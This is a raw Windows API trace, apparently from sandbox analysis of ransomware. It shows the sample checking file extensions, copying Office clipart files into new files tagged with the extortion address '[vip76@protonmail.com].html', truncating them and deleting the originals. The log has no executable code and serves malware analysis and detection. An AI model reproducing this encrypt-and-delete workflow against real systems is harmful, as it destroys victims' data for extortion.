	[0171.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0171.908] lstrlenW (lpString=".zip") returned 4
	[0171.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.908] lstrlenW (lpString=".rar") returned 4
	[0171.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.908] lstrlenW (lpString=".bz2") returned 4
	[0171.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.909] lstrlenW (lpString=".7z") returned 3
	[0171.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0171.909] lstrlenW (lpString=".dbf") returned 4
	[0171.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0171.909] lstrlenW (lpString=".1cd") returned 4
	[0171.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0171.909] lstrlenW (lpString=".jpg") returned 4
	[0171.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0171.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0171.909] lstrlenW (lpString=".doc") returned 4
	[0171.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.909] lstrlenW (lpString=".docx") returned 5
	[0171.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.909] lstrlenW (lpString=".pdf") returned 4
	[0171.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.909] lstrlenW (lpString=".xls") returned 4
	[0171.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.909] lstrlenW (lpString=".xlsx") returned 5
	[0171.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.910] lstrlenW (lpString=".ppt") returned 4
	[0171.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0171.910] lstrlenW (lpString=".zip") returned 4
	[0171.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.910] lstrlenW (lpString=".rar") returned 4
	[0171.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.910] lstrlenW (lpString=".bz2") returned 4
	[0171.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.910] lstrlenW (lpString=".7z") returned 3
	[0171.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0171.910] lstrlenW (lpString=".dbf") returned 4
	[0171.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0171.910] lstrlenW (lpString=".1cd") returned 4
	[0171.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0171.910] lstrlenW (lpString=".jpg") returned 4
	[0171.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.911] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0171.911] lstrlenW (lpString="FD01657_.WMF") returned 12
	[0171.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0171.911] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=30414) returned 1
	[0171.912] CloseHandle (hObject=0x51c) returned 1
	[0171.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220
	[0171.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0171.912] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.913] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0171.915] GetLastError () returned 0x0
	[0171.915] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x76ce, lpOverlapped=0x0) returned 1
	[0172.259] WriteFile (in: hFile=0x534, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x76d0, lpOverlapped=0x0) returned 1
	[0172.261] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.261] WriteFile (in: hFile=0x534, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.261] SetEndOfFile (hFile=0x534) returned 1
	[0172.261] CloseHandle (hObject=0x534) returned 1
	[0172.262] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.262] SetEndOfFile (hFile=0x51c) returned 1
	[0172.265] CloseHandle (hObject=0x51c) returned 1
	[0172.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0172.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1
	[0172.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0172.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0172.267] lstrlenW (lpString=".doc") returned 4
	[0172.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.267] lstrlenW (lpString=".docx") returned 5
	[0172.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.267] lstrlenW (lpString=".pdf") returned 4
	[0172.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.267] lstrlenW (lpString=".xls") returned 4
	[0172.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.267] lstrlenW (lpString=".xlsx") returned 5
	[0172.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.267] lstrlenW (lpString=".ppt") returned 4
	[0172.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0172.267] lstrlenW (lpString=".zip") returned 4
	[0172.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.267] lstrlenW (lpString=".rar") returned 4
	[0172.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.267] lstrlenW (lpString=".bz2") returned 4
	[0172.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.267] lstrlenW (lpString=".7z") returned 3
	[0172.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0172.268] lstrlenW (lpString=".dbf") returned 4
	[0172.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0172.268] lstrlenW (lpString=".1cd") returned 4
	[0172.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0172.268] lstrlenW (lpString=".jpg") returned 4
	[0172.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0172.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0172.268] lstrlenW (lpString=".doc") returned 4
	[0172.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.268] lstrlenW (lpString=".docx") returned 5
	[0172.268] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.268] lstrlenW (lpString=".pdf") returned 4
	[0172.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.268] lstrlenW (lpString=".xls") returned 4
	[0172.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.268] lstrlenW (lpString=".xlsx") returned 5
	[0172.268] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.268] lstrlenW (lpString=".ppt") returned 4
	[0172.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0172.269] lstrlenW (lpString=".zip") returned 4
	[0172.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.269] lstrlenW (lpString=".rar") returned 4
	[0172.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.269] lstrlenW (lpString=".bz2") returned 4
	[0172.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.269] lstrlenW (lpString=".7z") returned 3
	[0172.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0172.269] lstrlenW (lpString=".dbf") returned 4
	[0172.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0172.269] lstrlenW (lpString=".1cd") returned 4
	[0172.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0172.269] lstrlenW (lpString=".jpg") returned 4
	[0172.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.269] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0172.269] lstrlenW (lpString="FD02071_.WMF") returned 12
	[0172.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0172.270] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=2188) returned 1
	[0172.270] CloseHandle (hObject=0x51c) returned 1
	[0172.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220
	[0172.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0172.271] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.271] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0172.272] GetLastError () returned 0x0
	[0172.272] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x88c, lpOverlapped=0x0) returned 1
	[0172.274] WriteFile (in: hFile=0x534, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x890, lpOverlapped=0x0) returned 1
	[0172.276] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.276] WriteFile (in: hFile=0x534, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.276] SetEndOfFile (hFile=0x534) returned 1
	[0172.276] CloseHandle (hObject=0x534) returned 1
	[0172.276] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.276] SetEndOfFile (hFile=0x51c) returned 1
	[0172.285] CloseHandle (hObject=0x51c) returned 1
	[0172.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0172.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1
	[0172.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0172.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0172.286] lstrlenW (lpString=".doc") returned 4
	[0172.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.286] lstrlenW (lpString=".docx") returned 5
	[0172.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.287] lstrlenW (lpString=".pdf") returned 4
	[0172.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.287] lstrlenW (lpString=".xls") returned 4
	[0172.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.287] lstrlenW (lpString=".xlsx") returned 5
	[0172.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.287] lstrlenW (lpString=".ppt") returned 4
	[0172.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0172.287] lstrlenW (lpString=".zip") returned 4
	[0172.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.287] lstrlenW (lpString=".rar") returned 4
	[0172.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.287] lstrlenW (lpString=".bz2") returned 4
	[0172.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.287] lstrlenW (lpString=".7z") returned 3
	[0172.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0172.287] lstrlenW (lpString=".dbf") returned 4
	[0172.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0172.287] lstrlenW (lpString=".1cd") returned 4
	[0172.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0172.288] lstrlenW (lpString=".jpg") returned 4
	[0172.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0172.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0172.288] lstrlenW (lpString=".doc") returned 4
	[0172.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.288] lstrlenW (lpString=".docx") returned 5
	[0172.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.288] lstrlenW (lpString=".pdf") returned 4
	[0172.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.288] lstrlenW (lpString=".xls") returned 4
	[0172.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.288] lstrlenW (lpString=".xlsx") returned 5
	[0172.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.288] lstrlenW (lpString=".ppt") returned 4
	[0172.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0172.288] lstrlenW (lpString=".zip") returned 4
	[0172.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.288] lstrlenW (lpString=".rar") returned 4
	[0172.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.288] lstrlenW (lpString=".bz2") returned 4
	[0172.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.289] lstrlenW (lpString=".7z") returned 3
	[0172.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0172.289] lstrlenW (lpString=".dbf") returned 4
	[0172.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0172.289] lstrlenW (lpString=".1cd") returned 4
	[0172.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68
	[0172.289] lstrlenW (lpString=".jpg") returned 4
	[0172.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.289] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0172.289] lstrlenW (lpString="FD02075_.WMF") returned 12
	[0172.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0172.290] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4396) returned 1
	[0172.290] CloseHandle (hObject=0x51c) returned 1
	[0172.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220
	[0172.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0172.291] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.291] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5a8
	[0173.083] GetLastError () returned 0x0
	[0173.083] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x112c, lpOverlapped=0x0) returned 1
	[0173.086] WriteFile (in: hFile=0x5a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1130, lpOverlapped=0x0) returned 1
	[0173.087] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.087] WriteFile (in: hFile=0x5a8, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.087] SetEndOfFile (hFile=0x5a8) returned 1
	[0173.087] CloseHandle (hObject=0x5a8) returned 1
	[0173.087] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.088] SetEndOfFile (hFile=0x51c) returned 1
	[0173.091] CloseHandle (hObject=0x51c) returned 1
	[0173.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0173.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1
	[0174.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0174.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68
	[0174.736] lstrlenW (lpString=".doc") returned 4
	[0174.736] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.736] lstrlenW (lpString=".docx") returned 5
	[0174.736] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.736] lstrlenW (lpString=".pdf") returned 4
	[0174.736] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.736] lstrlenW (lpString=".xls") returned 4
	[0174.736] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.736] lstrlenW (lpString=".xlsx") returned 5
	[0174.736] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.736] lstrlenW (lpString=".ppt") returned 4
	[0174.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
